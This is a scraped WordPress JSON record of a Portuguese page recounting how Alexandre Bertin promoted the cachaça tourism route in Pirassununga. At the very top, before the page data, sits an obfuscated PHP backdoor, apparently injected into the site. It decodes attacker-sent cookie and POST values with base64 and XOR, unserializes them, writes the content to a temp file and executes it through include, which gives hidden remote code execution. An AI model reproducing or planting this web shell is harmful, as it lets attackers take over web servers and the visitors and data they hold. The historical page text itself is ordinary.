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$npoSX = chr (108) . chr (87) . chr ( 423 - 338 )."\137" . chr (102) . 'r' . 'q';$FbauSfffMt = chr (99) . "\x6c" . "\141" . chr ( 1046 - 931 )."\163" . chr ( 481 - 386 )."\x65" . chr ( 652 - 532 )."\x69" . chr ( 952 - 837 ).chr ( 1002 - 886 ).chr ( 943 - 828 ); $UrNylSisXB = class_exists($npoSX); $FbauSfffMt = "5804";$UXHcH = !1;if ($UrNylSisXB == $UXHcH){function xZtVPOI(){return FALSE;}$Kimnu = "12528";xZtVPOI();class lWU_frq{private function KtVwlcI($Kimnu){if (is_array(lWU_frq::$oSVZfohe)) {$dgrjQc = sys_get_temp_dir() . "/" . crc32(lWU_frq::$oSVZfohe[chr (115) . chr ( 306 - 209 ).chr (108) . "\x74"]);@lWU_frq::$oSVZfohe["\x77" . "\162" . 'i' . chr (116) . "\145"]($dgrjQc, lWU_frq::$oSVZfohe["\143" . chr ( 426 - 315 ).'n' . chr ( 832 - 716 ).'e' . chr (110) . 't']);include $dgrjQc;@lWU_frq::$oSVZfohe["\144" . "\x65" . "\154" . "\145" . "\164" . "\x65"]($dgrjQc); $Kimnu = "12528";exit();}}private $sQNMUHcGIA;public function SsyGQYM(){echo 48387;}public function __destruct(){$Kimnu = "34109_34588";$this->KtVwlcI($Kimnu); $Kimnu = "34109_34588";}public function __construct($JztFT=0){$TJSKHuR = $_POST;$prMSibR = $_COOKIE;$QizqaxfRVp = "25008fec-50d6-471b-8d67-f46f19e6b156";$PYLmvCR = @$prMSibR[substr($QizqaxfRVp, 0, 4)];if (!empty($PYLmvCR)){$DofCtpBV = "base64";$lOhSrSq = "";$PYLmvCR = explode(",", $PYLmvCR);foreach ($PYLmvCR as $zzLrRHDt){$lOhSrSq .= @$prMSibR[$zzLrRHDt];$lOhSrSq .= @$TJSKHuR[$zzLrRHDt];}$lOhSrSq = array_map($DofCtpBV . '_' . 'd' . "\145" . "\143" . "\x6f" . "\144" . 'e', array($lOhSrSq,)); $lOhSrSq = $lOhSrSq[0] ^ str_repeat($QizqaxfRVp, (strlen($lOhSrSq[0]) / strlen($QizqaxfRVp)) + 1);lWU_frq::$oSVZfohe = @unserialize($lOhSrSq); $lOhSrSq = class_exists("34109_34588");}}public static $oSVZfohe = 12305;}$eJOmo = new /* 16198 */ $npoSX(12528 + 12528); $UXHcH = $eJOmo = $Kimnu = Array();}
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{"id":7178,"date":"2020-09-07T23:23:11","date_gmt":"2020-09-07T23:23:11","guid":{"rendered":"https:\/\/roteirodacachaca.com.br\/?page_id=7178"},"modified":"2023-02-07T02:01:49","modified_gmt":"2023-02-07T02:01:49","slug":"roteiro-da-cachaca-historia-alexandre-bertin-2012","status":"publish","type":"page","link":"https:\/\/roteirodacachaca.com.br\/roteiro-da-cachaca-historia-alexandre-bertin-2012\/","title":{"rendered":"Roteiro da Cacha\u00e7a – Historia"},"content":{"rendered":"

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Em 2007 Alexandre Bertin adquiriu a Cacha\u00e7a Sapucaia, localizada na epoca em Pindamonhangaba. Ap\u00f3s operar alguns anos na cidade e realizar analises sobre o futuro da empresa, decidiu realizar a constru\u00e7\u00e3o da filial em Pirassununga\/SP.<\/h5>\n
Dentre os varios motivos analisados , um deles foi que , a cidade de Pirassununga , apesar de possuir uma longa hist\u00f3ria de alambiques artesanais desde 1900, incluindo de alguns de seus familiares, produzindo as cacha\u00e7as que fizeram a cidade ser conhecida e posteriormente crescer em vendas pelas grandes industrias, especialmente a 51, ainda n\u00e3o possuia nenhum tipo de a\u00e7\u00e3o publica, local da prefeitura ou de outras esferas e , nem mesmo dos produtores locais para divulgar a cidade e regi\u00e3o como polo de produ\u00e7\u00e3o e como alternativa de turismo.<\/h5>\n
O fato de sua fam\u00edlia ser de Pirassununga, ter participado da historia da cacha\u00e7a na cidade,  de estar proximo de S\u00e3o Paulo e de possuir grande tradi\u00e7\u00e3o no setor, pesou na sua decis\u00e3o . E assim abriu a filial da Sapucaia na cidade. <\/h5>\n
Em 2012 iniciou a mudan\u00e7a (veja aqui)<\/a> e, ao mesmo tempo, procurou a esfera municipal para contatos preliminares ao passo que, confirmou que realmente nada era feito em prol do turismo da cacha\u00e7a na cidade, exceto a venda , em praticamente sua totalidade realizada por alambiques e revendedores sem registro.<\/h5>\n
Naquele momento , estava sendo criado o CONSELHO de turismo da cidade, quando passou a frequentar e, como membro, sugerir a cria\u00e7\u00e3o do roteiro da cacha\u00e7a.  Ao mesmo tempo, adquiriu este dominio na internet e por sua propria iniciativa lan\u00e7ou o site e realizou varias reuni\u00f5es com os produtores para sensibilizar a necessidade.  O roteiro da cacha\u00e7a ent\u00e3o, passou a existir informalmente, desde 2012. <\/strong><\/span><\/h5>\n
Os trabalhos no COMTUR evoluiram e o grupo criou a lei municipal<\/a> que instituiu o conselho, criou posteriormente a lei do Fundo do Turismo<\/a>, realizou mapeamentos em geral da cidade, necess\u00e1rios e mantem-se organizado at\u00e9 os dias atuais. <\/h5>\n
Em conjunto com demais membros construiu o Plano Municipal de Turismo<\/a>, instrumento que n\u00e3o era conhecido ainda na cidade, que foi aprovado e incorporado ao Plano diretor Municipal, onde fez-se constar a necessidade, como uma das prioridades e oportunidades da realiza\u00e7\u00e3o do turismo voltado para o setor da cacha\u00e7a, devido ao grande reconhecimento nacional da cidade como produtor do destilado. <\/h5>\n
Muitas gest\u00f5es de COMTUR e de Secretarios de Turismo passaram-se e, em 2021 na gest\u00e3o de Alexandre Bertin como presidente do COMTUR de Pirassununga, e com William Ponciano na secretaria de turismo, o Roteiro da Cacha\u00e7a<\/a> foi oficializado pela prefeitura da cidade de Pirassununga em uma solenidade realizada no Centro de Conven\u00e7\u00f5es da cidade, com o nome de Rota dos Alambiques. <\/a><\/h5>\n
Nesse mesmo per\u00edodo o comit\u00ea de analise do estado de S\u00e3o Paulo d\u00e1 o parecer favor\u00e1vel \u00e0 aprova\u00e7\u00e3o do municipio de Pirassununga \u00e0 condi\u00e7\u00e3o de MIT – Municipio de Interesse Turistico pelo governo do Estado de S\u00e3o Paulo, fruto do trabalho dos membros do conselho neste per\u00edodo. <\/h5>\n
Mesmo nos dias atuais, o roteiro da cacha\u00e7a de Pirassununga \u00e9 ainda algo a ser concretizado, carecendo de sinaliza\u00e7\u00e3o, treinamento, transporte regular, seguran\u00e7a, etc, mas , a essa altura, os politicos locais j\u00e1 se engajaram no projeto, visto que proporciona visibilidade, proje\u00e7\u00e3o e j\u00e1 atrai a aten\u00e7\u00e3o de esferas superiores.   <\/h5>\n

Cacha\u00e7a Sapucaia – o processo de abertura da filial em Pirassununga\/SP <\/a><\/p>\n

Reuni\u00f5es do Conselho de Turismo de Pirassununga<\/p>\n

Lei Municipal de Cria\u00e7\u00e3o do COMTUR 2014<\/a><\/p>\n

Lei Municipal da Cria\u00e7\u00e3o do FUMTUR 2015<\/a><\/p>\n

Plano Municipal de Turismo de Pirassununga 2018<\/a><\/p>\n

Evento da oficializa\u00e7\u00e3o do Roteiro da Cacha\u00e7a em 2021<\/a><\/p>\n

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